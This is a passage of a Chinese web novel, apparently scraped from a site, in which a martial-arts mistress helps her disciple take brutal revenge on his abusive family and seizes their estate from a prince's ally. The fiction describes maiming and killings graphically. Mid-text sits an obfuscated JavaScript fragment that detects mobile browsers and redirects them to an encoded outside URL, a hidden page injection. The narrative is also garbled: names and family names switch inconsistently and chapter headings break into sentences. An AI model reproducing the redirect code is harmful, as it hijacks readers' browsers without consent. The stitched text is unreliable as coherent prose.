“小兔崽子,长能耐了啊!跑这儿来撒野,家也不回了?!” 她手指几乎戳到周长明的眼睛,唾沫星子四处飞溅。 茅清兮站在一旁,冷眼旁观,并未出声。 “你是哪根葱?” 她倒要看看,这女人能闹出什么花样。 妇人这才注意到茅清兮,她上下打量了茅清兮几眼,眼神鄙夷,语气更是嚣张跋扈: “我是这小崽子的娘!他离家出走,我来带他回去,与你何干?” 说罢,她又恶狠狠地瞪向周长明,厉声呵斥: “小兔崽子,还不给我滚回去!整天跟些不干不净的人混一块儿,丢尽了李家的脸面!” 周长明猛地抬头,小小的身躯挡在茅清兮身前,绷得像一张拉满的 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这让她如何能忍? 她恨不得立刻将周长明抓回来,关进暗无天日的柴房,让他跪在自己面前磕头求饶。 周夫人越想越气,声音也越发尖利刺耳: “小兔崽子,今天你必须跟我回去!不然,我饶不了你!” “你们这群人,是想**吗……” 富峻再也听不下去,“呛”地一声抽出腰间佩刀,便要上前给这群不知天高地厚的家伙一点颜色看看。 茅清兮却伸手拦住了他,示意他稍安勿躁。 她看向周长明,眼神波澜不惊: “这是你家事,打算如何处置?是跟他们回去,还是……留下来继续跟我学武?” 她想看看,这孩子会如何抉择。 周长明想也没想,脱口而出: “当然是留下跟师父学武!” 他的声音虽小,却异常坚定。 “你……你个小畜生,翅膀硬了是吧……” 周夫人气得七窍生烟,指着周长明的鼻子,破口大骂。 茅清兮却打断了她的话: “既是如此,这些人便交由你处置。 第一百九十四章 为师正好看看,这些时日教你的功夫,你究竟学了几成。” 说着,她缓步走上楼梯,转身,居高临下地看着周长明。 她的目光冷漠如冰,不带一丝情感。 周长明望着她,眼中闪过一丝迷茫,但很快,他握紧了手中的短剑,重重地点了点头。 他明白,师父这是在考验他。 周夫人见状,冷笑一声,满脸轻蔑: “就凭他?一个**都没长齐的小屁孩,还想跟我斗?来人,把这小兔崽子给我抓回去!” 她身后两个护院立刻狞笑着上前,摩拳擦掌,准备将周长明拿下。 周长明紧了紧手中的短剑,下意识地往后退了一步。 从前在卫府,他可没少挨这些人的拳脚。这些护院身强力壮,下手又黑又狠,每次都把他打得鼻青脸肿,好几天下不了床。 他虽然力气小,个头矮,但也知道害怕。 可他更害怕师父失望。 师父是唯一对他好的人,不仅教他武功,给他饭吃,还……还愿意护着他。 他不能让师父失望。 他今天若是退缩了,丢的不仅是自己的脸,更是师父的脸。 周长明一咬牙,猛地拔出短剑,摆出一个似是而非的架势。 虽然他也不知道这姿势对不对,但至少能壮壮胆。 李家的护院见状,哈哈大笑,笑声中充满了轻蔑和嘲讽: “哟,大少爷这是要跟咱们动手?” “大少爷,刀剑无眼,您可仔细着点,别伤着自己。” 他们压根就没把周长明放在眼里,只当他是个不知天高地厚的孩子。 周长明紧抿着唇,一言不发。他死死盯着那两个护院,身体微微颤抖。 两个护院对视一眼,狞笑着扑了上来。 富峻站在茅清兮身旁,看着下面的情形,有些担忧: “夫人,长明少爷习武时日尚短,怕是……不是这些人的对手。这俩护院瞧着身手不错,万一……” 茅清兮却神色淡淡: “无妨,若他连这点胆量都没有,也不配做我的徒弟。若是实在不敌,我再出手也不迟。” 她语气虽轻,却透着不容置疑的坚定。 周长明咬紧牙关,在那两个护院扑上来时,突然挥剑。 尽管他知道自己不是这两个人的对手,但此刻,他已没有退路。 他只知道,自己不能退缩,更不能给师父丢脸。 记忆中,师父所授的剑招如流水般划过脑海。 虽然他的动作还很生涩,力量也远远不足,但他依然竭尽全力,将每一招每一式都施展出来。 他像一只初生牛犊,虽然稚嫩,却也带着一股不顾一切的狠劲。 周长明身形灵活,左躲右闪,竟也堪堪避开了两人的擒拿,甚至瞅准一个空当,挥剑朝其中一人的手臂划去。 尽管没能伤到对方,却也让那**吃一惊。 几个回合下来,两个护院竟然都没能碰到他一片衣角。 侍卫见周长明竟然如此难缠,原本的轻视也收了起来,变得认真。 他们对视一眼,决定不再留手。 两人同时出手,一左一右,配合默契。一个虚晃一招,引周长明出剑格挡,另一个则趁机欺身而上,一拳击向他的胸口。 周长明只觉得一股大力袭来,胸口一阵剧痛,整个人向后飞去。 他“哇”地一声吐出一口鲜血,重重地摔在地上。 正当周长明觉得自己要输了的时候,一道身影突然闪现到他面前。 是茅清兮。 她像一道鬼魅,快得让人看不清。 茅清兮一把抓住周长明的手腕,将他从地上拉起来,同时手中长剑如灵蛇出洞,闪电般刺出。 只一剑,便刺穿了那个击中周长明的护院的胸膛。 那护院惨叫一声,捂着胸口,缓缓倒了下去。 鲜血喷涌而出,染红了地面。 另一名护院见状,吓得魂飞魄散,转身就跑。 茅清兮手腕一转,长剑脱手飞出,如闪电般追上那名护院,从他后心穿过。 那护院惨叫一声,扑倒在地,没了声息。 这一切都发生在电光火石之间,快得让人目不暇接。 茅清兮收回长剑,看也没看倒在地上的两具尸体,只是将周长明护在身后。 周长明抬头望着茅清兮的背影,只觉得师父的身影无比高大,像一座山,为他遮风挡雨。 他眼中充满了崇拜和感激: “师父……” 他的声音里带着一丝劫后余生的颤抖。 周夫人见自己的两个护院竟然被茅清兮杀了,顿时吓得魂飞魄散,尖叫一声,瘫软在地。 她指着茅清兮 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“至于你……还是好好想想,该如何向周老爷交代吧。” 说完,她再也不看周夫人一眼,转身带着周长明离开了。 周夫人瘫坐在地上,如丧考妣。“师父,怎么了?” 周长明抱着短剑,亦步亦趋地跟在茅清兮身侧。 他虽年幼,却也敏锐地察觉到,今日师父前来,是为了替他出头。 茅清兮没有回答,只是用手指轻轻点了点身旁的空位。 “坐。” 简单的一个字,却让周长明犹豫了。 他的目光闪烁不定,偷偷地瞥了一眼站在不远处的周夫人。 那个位置……是他可以坐的吗? 在卫府,正厅的椅子,他连靠近都不敢。李家人厌恶他痴傻,平日里,不仅不许他上桌,甚至连正院都不准他踏足。他们生怕他冲撞了哪位贵客,丢尽李家的颜面。 周长明垂在身侧的手,无意识地握紧。 “怎么,不听师父的话了?” 茅清兮的声音里带着一丝浅浅的笑意,却让周长明瞬间回过神来。 第一百九十六章 跟明清兮讲道理? 他还没那么蠢! “明……臧夫人……您……您说笑了,这……这都是误会……” 他沉默了片刻,终于开口,声音干涩,带着一丝讨好,试图缓和气氛。 “误会?” 茅清兮挑了挑眉, “周夫人方才,可是亲口承认,李家是太子的人。怎么,在周老爷看来,圣上亲封的皇商,转头就投靠了太子,这也是‘误会’?” “这贱妇胡说八道!臧夫人,内人她……她只是一时糊涂,绝无此意!” 周老爷心中大骇,连忙撇清关系, “我李家世受皇恩,对陛下忠心耿耿,绝无二心!” 茅清兮没有再理会他的辩解,直接开口: “将你们李家所有的人,都叫出来。无论男女老幼,一个也别想跑。” “臧夫人,您这是……要做什么?” 周老爷心中越发不安,声音也变得颤抖起来。 “做什么?” 茅清兮轻笑一声,目光缓缓扫过在场的每一个人, “自然是……让李家,换个当家人。” “你……你敢!” 周老爷再也无法保持冷静,猛地站起身来,双目圆睁,怒视着茅清兮, “你……你这是要强占我李家的家业?简直……简直无法无天!我……我就是拼了这条老命,也要去金銮殿上告你!” “周老爷不必激动。” 茅清兮笑了笑,笑容中带着一丝玩味, “摆你两条路。” “第一个选择,你主动将李家的家业,交到周长明的手中。” “至于第二个选择嘛……” 她故意停顿了一下,加重了语气,一字一顿地说: “你,也,只,能,选,第,一,个。” “你……你这是强词夺理!这两个选择,根本就没有任何区别!” 周老爷气得浑身发抖,声音都有些变了调。 “怎么没有区别?一个是心甘情愿,一个是……生不如死。” 茅清兮看着他,目光冰冷, “你若是想保住李家,保住你这条老命,就只有一个选择。” “现在,立刻,马上,去把李家所有的人,都给我叫出来。” “我要让他们好好认一认,他们的新家主,究竟是谁!”“动手。” 茅清兮话音刚落,原本懒散靠在椅背上的富峻,瞬间像换了个人,判若两人。 他眼中精光四射,嘴角勾起一抹嗜血的笑。 自从主子出事,鹰羽卫被迫蛰伏,他有多久没这么痛快过了? 胸腔里憋闷的浊气,仿佛找到了宣泄口。 今天,就拿这不开眼的李家开刀! 富峻“噌”地一声抽出腰间佩刀, 那是他吃饭的家伙, 刀身在阳光下闪着寒光。 他脚尖点地,身形如鬼魅般掠出,带起一阵劲风。 “欺人太甚!” 周老爷气得脸色铁青,额角青筋暴起, 太阳穴突突直跳。 他已经暗中示意下人去请太子的人。 只要太子出面,谅这明九也不敢造次。 毕竟,这些年李家暗中输送给太子府的钱财,可不是一个小数目, 那可是真金白银! 想到这里,周老爷稍稍安心,但仍强压着怒火,朝门外吼道: “都给我进来!” 院子里,陆陆续续走进一群人。 有锦衣华服的李家主子,也有粗布麻衣的奴仆。 他们起初还不明所以,交头接耳,窃窃私语, 以为是什么寻常的家族议事。 直到一个平日里作威作福的管事婆子跳出来, 她仗着自己是周夫人的心腹,指着周长明的鼻子尖声叫骂: “哪来的不长眼的狗东西,敢在李家撒野……” “咔嚓!” 话音未落,富峻已然闪身到她跟前。 刀光一闪,一颗人头咕噜噜滚落在地,鲜血溅了周围人一身。 那管事婆子甚至还保持着方才嚣张跋扈的表情,死不瞑目, 脸上的横肉还保持着惯性的颤动。 全场瞬间死寂。 落针可闻。 所有人都被这突如其来的一幕吓傻了。 他们像被施了定身咒,僵在原地, 紧接着, “扑通、扑通……” 接二连三地跪伏在地,瑟瑟发抖,大气都不敢喘, 生怕下一个遭殃的就是自己。 周老爷惊怒交加, 他万万没想到,这明九竟然真的敢在李家动手**! 他死死盯着主位上气定神闲的茅清兮, 又偷偷给身旁的周长明使眼色,示意他赶紧说句话。 他不信这傻子真敢对李家动手。 可周长明像是没看见,目光始终落在院子里,空洞而茫然, 事不关己。 茅清兮将周老爷的反应尽收眼底,唇角勾起一抹几不可察的冷笑。 一切都在她的算计之中。 她缓缓放下手中的青瓷茶杯,杯底与桌面碰撞,发出一声轻响。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191121|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “长明,” 她轻声开口,打破了这令人窒息的沉默, “想不想报仇?” 周长明缓缓抬起头,看向茅清兮。 “想。” 他的声音很轻,却很坚定,像是在回答茅清兮,又像是在对自己说。 跪着的人群中,顿时一阵骚动。 谁不知道,这府里上上下下,几乎人人都欺负过这位痴傻的大少爷。 以前只当他是个傻子,谁会把他的话当真? 如今看来,这傻子怕是要翻身了! 不少人开始后悔,当初不该为了讨好周夫人,对这位大少爷百般欺辱, 现在好了,报应来了。 “好。” 茅清兮微微颔首,声音不高,却清晰地传入在场每个人的耳中, “拔出你的剑,谁动的手,就砍谁的手。谁动的脚,就砍谁的脚。” 周长明缓缓起身,从腰间拔出那把一直没机会出鞘的短剑, 剑是好剑, 只是从未饮血。 剑身反射着阳光,有些刺眼。 “长明,你干什么!” 周老爷再也忍不住,厉声喝止,试图阻止周长明, 语气里带着一丝慌乱。 但周长明却像没听见, 他恍若未闻,径直走向跪着的人群。 “少爷饶命!少爷饶命!” 恐惧的求饶声此起彼伏, 一声高过一声, 一声凄惨过一声, 却无法让周长明的脚步有丝毫停顿。 周长明走到一个中年男人面前。 那人是周长明的二叔,平日里没少借着酒劲打骂周长明。 他脸色煞白,浑身抖如筛糠,颤声道: “周长明你放肆!二叔我可不是外人!” “你喝醉了酒打我,” 周长明面无表情,像是回忆起了什么,眼神变得更加空洞, 让人分不清他究竟是真傻还是假傻, “还打断过我的腿。” 话音未落,手起剑落。 “啊——” 中年男人捂着血流如注的断腿,凄厉惨叫, 声音在空旷的院子里回荡,令人毛骨悚然。 “老爷救命!老爷救命啊!” 其他人吓破了胆,纷纷向周老爷求救, 哭喊声、求饶声响成一片, 仿佛人间炼狱。 周老爷又惊又怒,刚想上前阻止, “唰”地一下, 一道身影挡在他面前,拦住了他的去路。 第一百九十七章 富峻举起一块令牌, 令牌上的“枭”字,在阳光下闪着慑人的寒芒, 那是权力和死亡的象征。 “鹰羽卫参将富峻在此,谁敢造次!” 声音不大,却带着不容置疑的威严, 震慑全场。 茅清兮瞥了一眼富峻,心下了然。 难怪这小子平日里吊儿郎当,没个正形, 原来是鹰羽卫的参将, 背景不小。 这倒是意外之喜。 周老爷瞳孔骤缩,额头渗出细密的汗珠, 他目光焦急地望向大门, 心里把那个办事不利的下人骂了千百遍。 怎么派去请太子的人还没到? 再不来,李家就真的要变天了! 周长明没有理会周围的喧嚣, 他走到一个嬷嬷面前。 这嬷嬷珠光宝气,穿金戴银, 是周夫人的贴身嬷嬷,也曾是周长明的乳母。 因为对周长明格外狠毒,才被周夫人提拔到身边, 作威作福。 “少爷,我可是把你拉扯大的啊!奴婢在姑娘离开之际,一直照顾您……” 嬷嬷声泪俱下,试图唤起周长明的回忆, 她匍匐在地,不断磕头,额头都磕破了, 血迹斑斑。 周长明垂眸,看着眼前这个曾经对他非打即骂的老嬷嬷, 看不出任何情绪。 也正因如此,他挥剑斩断嬷嬷双手和耳朵时,才显得格外冷酷无情, 像是在执行某种既定的程序。 “我娘死后,你不是打我,就是骂我。” 周长明的声音平静得没有一丝波澜,像是在陈述一个事实, “记得我四岁那个寒冬,耳朵都快被你薅掉了。” 血腥味在院子里弥漫, 血腥气令人作呕。 哀嚎声、求饶声、恐惧的抽泣声混成一片, 让人仿佛置身于修罗地狱, 又像是菜市口行刑。 周长明却像听不见, 他提着滴血的剑,一步步走向周夫人。 “老爷!救我!他要杀我!” 周夫人吓得魂飞魄散,花容失色, 平日里的雍容华贵荡然无存, 她尖叫着躲到周老爷身后,浑身颤抖如筛糠, 像一只受惊的鹌鹑。 “长明,她是你的母亲!” 周老爷又惊又怒, 他万万没想到,周长明竟然真的敢对自己的母亲动手! 这简直是疯了! “我没有娘亲。” 周长明漠然道, 他的眼神空洞得像一口古井, 深不见底, “方才师尊提到,今天来,就是为了废了她。” 他面无表情, 仿佛即将做的事情, 只是一件再寻常不过的小事。 周老爷话音未落, 周长明已然出手, 剑光如匹练, 快如闪电, 精准狠辣。 周夫人甚至没来得及发出惨叫,就已舌断气绝, 瘫倒在地, 鲜血染红了她华贵的衣裙, 像一朵盛开的血色牡丹。 周长明做完这一切,缓缓转过身,回到茅清兮面前, 动作行云流水。 “师父,我报完仇了。” 他低着头,轻声说道, 像一个做完功课等待表扬的孩子。 “嗯,不错。” 茅清兮看着院子里跪着的人,微微点头, 表示认可, 但眼神里却闪过一丝不易察觉的复杂。 “长明,人还挺多的嘛,你就不管了?” 富峻忍不住问, 他觉得周长明还是不够狠, 对这些曾经欺辱过他的人,应该斩草除根, 以绝后患。 “我的剑,只斩该斩之人。” 周长明低头看着手中的剑, 剑身上还沾着血迹, “这些人,脏了我的剑。” 语气中,竟带着一丝不屑。 “啧,有原则。” 富峻暗自佩服。 没想到,这周长明看着傻, 骨子里却有股狠劲儿, 是个可造之材, 假以时日,必成大器。 茅清兮并不意外。 周长明虽然痴傻,但心性坚定, 这些日子的针灸和药浴,早已让他脱胎换骨, 他不再是那个任人欺凌的痴傻儿。 她看向脸色煞白的周老爷,淡淡开口: “周老爷,如今这局面,你觉得,李家的产业交给长明,有没有问题?” 周老爷咬牙切齿, 他恨不得将眼前这个女人碎尸万段, 但理智告诉他,不能这么做。 人为刀俎,我为鱼肉。 他强压下心头的怒火,挤出一丝比哭还难看的笑容: “长明他还小……这,这不合规矩……” “规矩?” 茅清兮嗤笑一声, “我今天来,就不是和你讲规矩的。” 语气淡淡, 却带着不容置疑的威严, 让人不敢反驳。 “你!你这是强盗行径!” 周老爷气得浑身发抖, 却又无可奈何, “我,我不同意!” 他当然不肯交。 交出去容易, 想要回来,可就难了。 交出去,李家就成了茅清兮的囊中之物。 更何况,李家的钱财大部分都要送给太子。 若是断了这条财路,太子震怒之下,李家恐怕…… 想到这里,周老爷不禁打了个寒颤, 后背一阵发凉。 “既然如此……” 茅清兮红唇轻启, 她看向富峻,使了个眼色。 富峻会意, 他咧嘴一笑, “嘿嘿”两声, 飞身而出。 “你!你们要干什么!” 周老爷心中警铃大作, 他有种不祥的预感。 “去去就来。” 富峻的声音远远传来。 片刻后,他拿着一本账簿回来, 账簿的封皮上写着“李家产业”四个大字, 字迹遒劲有力。 他将账簿交到茅清兮手中, 得意洋洋地看着周老爷。 周老爷气得浑身发抖, 他万万没想到, 茅清兮竟然如此胆大包天, 敢直接抢夺李家的账簿! “臧夫人,你欺人太甚!” 他怒吼道, 声音都有些嘶哑, 像是困兽的低吼。 “李家的产业,本就该是长明的。” 茅清兮翻看着账簿, 账簿上详细记录了李家的各项产业、收入、支出, 以及与太子府的往来账目, 一笔笔, 清清楚楚。 “现在,我不过是物归原主。” 茅清兮轻描淡写, 仿佛这只是一件微不足道的小事。 她随手将账簿丢给周长明。 “长明,拿着。” “是,师父。” 周长明接过账簿, 小心翼翼地收好, 像是捧着一件稀世珍宝。 “既然周老爷不识抬举,那这李家,也没存在的必要了。” 茅清兮起身, 她已经达到了目的, 没兴趣再和周老爷纠缠。 “我们走。” 她带着周长明和富峻等人扬长而去, 留下一脸绝望的周老爷, 和满院子的哀嚎、 血腥, 以及一地的狼藉。 周老爷心中焦躁, 派去请殿下的人咋还没动静? 再晚,李家就真的完了! 他像热锅上的蚂蚁, 急得团团转, 却又无计可施。 马车上,气氛有些凝重。 “长明,你可想过,要执掌李家?” 茅清兮问, 她看着周长明, “若是你想,师父可以帮你。” “师父,我只想练武。” 周长明回答, 他的眼神中,没有对权势的渴望, 只有对武道的执着, 和对变强的渴望。 第一百九十八章 “好。” 茅清兮笑了。 她原本是想借周长明的名头,掌控李家,断了太子的财路。 如今看来,倒是多此一举了。 不过,这样也好。 “这账簿,你且收好。” 茅清兮从怀中取出一封信, 信封上写着“兵部尚书周鸿亲启”, “明日,你亲自将这封信和账簿交给周鸿,他会明白该怎么做。” 周鸿是当朝兵部尚书,为人正直,刚正不阿。 将账簿交给他,是最好的选择。 “至于李家……” 茅清兮略一沉吟, “富峻,你放出消息,就说李家为筹集军饷,不惜变卖家产,将所有产业尽数捐给朝廷,支援云陲战事。” “让全天下都知道,李家是何等的‘忠君爱国’!” 她要让周老爷哑巴吃黄连,有苦说不出。 有百姓的赞颂,李家想反悔也来不及。 钱云霄就算再恼怒,也动不了这笔钱。 至于李家和太子之间暗通款曲? 呵, 那本账簿,就是最好的证据。 到时候,就看他们如何收场了。“李家那群废物,是吃了熊心豹子胆,还是被猪油蒙了心?!” 太子钱云霄猛地将手中茶盏掼在地上,上好的白瓷碎裂,茶水四溅。他额角青筋暴跳,显然已是怒不可遏。 一旁的孔谋,脸色铁青。 他刚刚收到消息,李家,居然将全部家产捐给了朝廷! 这消息,如同晴天霹雳! 孔谋恨得牙痒痒,先前李家派人来求见,他竟因为一些琐事将人晾在一边! 若是早些知道…… “一群养不熟的白眼狼!孤的钱,他们也敢动!” 钱云霄喘着粗气,眼底一片猩红。 孔谋强压下心中翻涌的情绪,转向跪在地上的侍卫,沉声问道: “细细说来,究竟发生了什么?” 侍卫不敢抬头,颤声道: “回殿下,是臧夫人……她带着徒弟回了李家,说是要……要替徒弟讨回公道。周老爷不肯,臧夫人就……就……” “就怎样?!” 钱云霄猛地一拍桌子,厉声喝道。 “就逼着周老爷将家产交出来,说是……说是要捐给朝廷,充作云陲军饷……” 侍卫的声音越来越低,头几乎埋进了胸口。 “茅清兮……” 钱云霄的眼神阴晴不定。 “她徒弟?难道是……” “是李家的大少爷,周长明。” 孔谋在一旁补充道。 “之前是个痴儿,在李家受了不少委屈。想来,茅清兮是为了这事,才找上李家的。” “为了一个傻子,就敢动孤的钱?”钱云霄冷笑,“她茅清兮,好大的胆子!” 孔谋心中却另有计较。 李家是太子的钱袋子,这件事,只有极少数心腹才知道。 茅清兮此举,未免太过巧合。 难道是…… 孔谋不敢深想,只觉得一股寒意从脚底升起。 “先前,孤还指望能借你师叔这层关系,让她为孤所用,没成想……” 钱云霄眼中闪过一丝懊恼和不甘。 他原本确实动过心思,想将茅清兮收入囊中。 毕竟,冀容白那个病秧子,活不了多久了。只要冀容白一死,茅清兮…… 想到这里,钱云霄的眼神变得阴鸷起来。 “这女人,是真不知道轻重,还是故意跟孤作对?”他看向孔谋,语气冰冷。 孔谋犹豫片刻,还是决定直言: “殿下,依属下看,茅清兮此举,绝非偶然。还请殿下早做防备!” 钱云霄的脸色彻底沉了下来,点了点头。 “孤明白。”他眯起眼睛,声音低沉,“你确定,那东西在她手上?” “是。邹童霜死后,那东西只可能在茅清兮手里。属下已经派人暗中搜查过青鸾阁,一无所获。”孔谋答道。 “废物!”钱云霄低声咒骂。 若是当初能早点将茅清兮弄到手…… 他烦躁地揉了揉眉心,沉声吩咐道: “冀容白那边,可有什么消息?” “他服下的药,最多还能支撑一个月。一个月后,若是没有解药,他必死无疑。” “好。”钱云霄的眼中闪过一丝狠厉,“李家那边,你亲自去处理。记住,绝不能留下任何把柄!” “属下遵命。”孔谋躬身退下。 与此同时,澜府内。 富峻兴冲冲地跑进屋,脸上带着难以抑制的兴奋: “夫人!您猜怎么着?李家老爷直接被气晕过去了!现在李家乱成一团,兵部的人正忙着抄家呢!” 茅清兮微微一笑,并不意外: “钱云霄那边,恐怕也坐不住了吧。” 她与钱云霄之间,早已势同水火。 如今这一出,更是将彼此间的矛盾彻底激化。 茅清兮并不在乎。 她就是要逼一逼他们,看看他们究竟想要什么。 “小姐,转眼间月圆之夜就到了,”紫姨端着一盘点心走过来,笑着说,“想吃什么,尽管吩咐。” “紫姨做的红烧鱼,最是美味!”茅清兮毫不犹豫地说。 “我也要!馋死我了想来盘鸡肉!”富峻立刻凑了过来。 紫姨笑着应下,又看向一旁练功的周长明: “这位公子想尝点啥?” 周长明停下动作,挠了挠头,憨憨一笑: “我都行。” 紫姨仔细打量着周长明,眼中闪过一丝惊讶: “这孩子,好像长高了不少,也比以前精神多了。” “那是自然,”俞霜不知从哪里冒出来,笑嘻嘻地说,“长明少爷现在可是咱们府上的‘饭桶’,一顿饭能顶咱们三个!这叫什么?能吃是福!” “什么饭桶,会不会说话?”紫姨嗔怪地瞪了俞霜一眼,“长明少爷这是长身体呢!” 茅清兮笑了笑,没说话。 周长明的变化,她自然看在眼里。 除了每日的针灸调理,她还特意请了先生来教周长明读书识字。 “小姐,您怎么不亲自教长明少爷?”紫姨曾好奇地问。 “我可教不了。”茅清兮摆了摆手。 她自家人知自家事。 诗词歌赋,她能背能读,却写不出。 让她教周长明,岂不是误人子弟? 中秋这日,澜府张灯结彩,热闹非凡。 除了紫姨准备的一桌丰盛菜肴,茅清兮还特意让城里最有名的厨子做了各式各样的月饼。 俞霜伤势渐好,便拉着富峻在院子里比划起来。 周长明看得津津有味,眼中满是羡慕。 绿绿和绮巧则在一旁扎花灯,欢声笑语不断。 茅清兮坐在院中的摇椅上,轻轻摇晃着,抬头望着天上的明月。 月光皎洁,如水般倾泻而下。 茅清兮的心,却飞向了远方。 她想起了冀容白。 每逢佳节倍思亲,更何况是这团圆的日子。 茅清兮轻轻咬了一口手中的月饼,却觉得有些索然无味。 她不知道,此时此刻的冀容白,是否也在望着同一轮明月? 第一百九十九章 他是否安好? 是否…… “砰!” 一声轻响,打断了茅清兮的思绪。 她微微皱眉,循声望去。 只见墙头上,露出一个黑影,正鬼鬼祟祟地向里张望。 “长明,”茅清兮轻声唤道,“有人爬墙,你去看看。” 周长明立刻拔出剑,指向墙头,厉声喝道: “什么人?!” 众人一惊,纷纷循声望去。 “是我……是我……” 一个熟悉的声音,怯生生地响起。 紧接着,一颗脑袋从墙头上探了出来。中秋夜,月华如水。 澜府院墙上,探出一颗脑袋,贼溜溜地转。 “茅飞羽?”周长明有些惊讶。 “嘿,怎么着?”茅飞羽斜睨他一眼,视线却往茅清兮那边瞟。 茅清兮没搭理。 茅飞羽讪讪的,想跳又不敢。 紫姨端着食盒过来,笑眯眯地说:“大少爷,来尝尝月饼,刚出炉的。” “得嘞!”茅飞羽应了一声,可一想到上次被茅清兮扔出去的狼狈,腿就有点软。 他指了指墙头:“紫姨,这儿挺好,视野开阔。” 紫姨迟疑了,把食盒往上递了递。 茅飞羽接过,美滋滋地咬了一口,眼睛却不住地往院子里瞟。 那叫一个羡慕嫉妒恨。 不过,他转念一想陆府的糟心事,顿时觉得,还是这儿自在。 茅暮暮没了,骆芸疯了,天天在家闹。 茅文昭烦她,躲在褚姨娘那儿。 骆芸更来劲了,只要茅文昭不在家,就变着法儿地折腾褚姨娘。 今天让她跪祠堂,明天就赏她一顿板子。 可褚姨娘也不是省油的灯,晚上就去茅文昭那儿哭。 茅文昭心疼得不行,更偏着她了。 为这,茅文昭大发雷霆。 更不用说,骆芸管家,一塌糊涂。 宋家现在揭不开锅了。 中秋家宴,茅文昭请朋友,骆芸上的菜没几样荤的。 茅文昭气得脸都绿了,散席后,把骆芸揍了一顿。 陆府现在鸡飞狗跳,茅飞羽哪敢回去? 他宁愿坐墙头! “喂。”茅飞羽叫了一声,最近的周长明抬头看他。 “想吃烤鸡了,给小爷拿一只来。” 周长明理都没理。 茅飞羽气得,在墙头扒拉,捡起一块瓦片,朝周长明扔去。 周长明一侧身,瓦片擦着他耳朵飞过。 结果,砸醒了打盹的茅清兮。 茅清兮眼睛一睁,寒光四射。 周长明立刻起身,指着墙头:“师父,他扔的!” “周长明,你卖我!”茅飞羽急了。 茅清兮嘴角一勾,抓起桌上的果子,朝茅飞羽扔去。 茅飞羽抱头躲闪,可墙头就那么点地方,能躲哪儿去? 他被砸得嗷嗷叫,一个倒栽葱,摔了下来。 “哎哟喂!” 茅飞羽捂着腰,哼哼唧唧。 院子里的人全笑了。 茅清兮也忍不住弯了嘴角。 澜府外,夜色沉沉。 刁明远徘徊良久,最终还是没敲门。 他要走了。 去南方,越远越好。 可临走前,他还是来了这里。 “少爷,回去吧,明儿再走。”小厮劝道。 “不回了,就今晚。”刁明远又看了一眼澜府,眼神黯淡。 他不敢敲门。 有些话,说不出口。 “少爷,大过节的,哪有离家的?”小厮小声嘀咕,“这一去,可就……” “有什么区别?”刁明远苦笑,“林家,不需要我。” 刁父眼里只有刁然,那个只知道吃喝玩乐的废物。 他考上榜眼又怎么样? 刁父还是只关心刁然。 茅暮暮失踪,刁然借机消沉,天天去烟花柳巷鬼混。 刁父竟然相信了他的鬼话! 还想在文华院给刁然谋个差事,完全不顾刁明远的死活。 他想通了,这里,没他的位置。 “走了。” 刁明远最后看了一眼澜府,把心底的影子,埋得更深。 就此别过。 中秋过后,寻找寒星露解药的事,让茅清兮心急如焚。 只差一味玉露草。 可她和富峻,都没头绪。 医书翻烂了,也没找到玉露草的只言片语。 富峻说,之前的玉露草,是偶然从一个南疆游商手里买到的。 茅清兮派人去找了,没影儿。 她甚至动了去云州的念头。 就在这时,宫里来人了,送来了太后的懿旨。 “秋猎?”茅清兮展开懿旨,愣住了。 皇家秋猎,三天后举行。 由皇帝带着文武百官,去皇家猎场狩猎,以彰显皇家威仪。 这不仅是皇室的活动,也是各家展示实力的机会。 曾经有人赤手空拳打死老虎,被皇帝当场封为猛将。 茅清兮从没参加过,而且,以她现在的身份,太后不该给她下旨。 可太后的命令,她不能违抗。 无奈之下,茅清兮只能应下。 秋猎当天,她带上了周长明和俞霜。 俞霜的伤势已经大好。 茅清兮无意出风头,这种场合,是给皇子们准备的舞台。 为期三天的秋猎,猎场里有专门搭建的营帐供人休息。 茅清兮特别低调,第一天,就待在帐篷里没出去。 周围住的都是京城的达官显贵,不少人已经开始互相走动。 傍晚,清韵公主来了。 “清兮,你怎么闷在帐篷里?”清韵风风火火地闯进来,“不少人都出去打猎了呢!” 茅清兮笑着说:“明日再出去也来得及。对了,长公主殿下可来了?” 若长公主来了,她得去拜见。 “我娘没来。”清韵顿了顿,“韩长华那家伙倒是来了。” 茅清兮有些惊讶。 “你别这表情!”清韵没好气地说,“我跟他,八字还没一撇呢!” “和离了?”茅清兮问了个问题。 “是他不要我了!”清韵气呼呼地说。“真的?”茅清兮眉梢轻扬,唇边漾起一抹玩味的笑。 清韵被她看得恼了,没好气地嗔了她一眼:“茅清兮!你能不能别幸灾乐祸?” 话音未落,茅清兮已是忍不住,“扑哧”一声笑了出来。 清脆的笑声在空气中回荡,她甚至笑出了几滴眼泪。 这事儿,搁谁身上不觉得稀奇? 从前,只有清韵挑剔别人的份儿。这个看不上,那个不顺眼,总之,天底下的男人,就没一个能入得了她的法眼。 可如今呢?居然有男人敢拒绝清韵? 真是破天荒头一遭! 清韵心里那叫一个气闷,重重地哼了一声,像是要把胸腔里的郁结都哼出来: “我娘……我娘她让人去问过韩长华的意思了。” “他说,他说他暂时无心娶妻,只想一门心思扑在修史书上。” 她顿了顿,语气愈发不忿:“这……这不明摆着是看不上我吗?” 茅清兮好不容易止住了笑,抬手斟了杯茶,递到清韵面前,试图顺顺她的气: “沈大人……他也没直说嫌弃你呀,没准……没准他就是单纯不想成亲呢? 第二百章 ” “你信他那套说辞?”清韵反问,语气里带着毫不掩饰的质疑。 茅清兮眨了眨眼,故作认真地想了片刻,缓缓开口: “旁人说这话,可能是敷衍,但沈大人嘛……我还真觉得,他没准是认真的。” 不知怎的,清韵心头的郁气更盛了。 韩长华,那个满脑子之乎者也的家伙!之前就说她粗鲁,没规矩,现在八成还是这么觉得,所以才敢拒绝这门亲事。 当然,她自己也不想这么早成亲。 可问题是,她拒绝别人,和别人拒绝她,那能一样吗? 这感觉……就像是被人当众抽了一记耳光,丢脸至极! 清韵越想越气,端起面前的茶盏,仰头一饮而尽,仿佛要把心头的烦闷都冲刷干净。 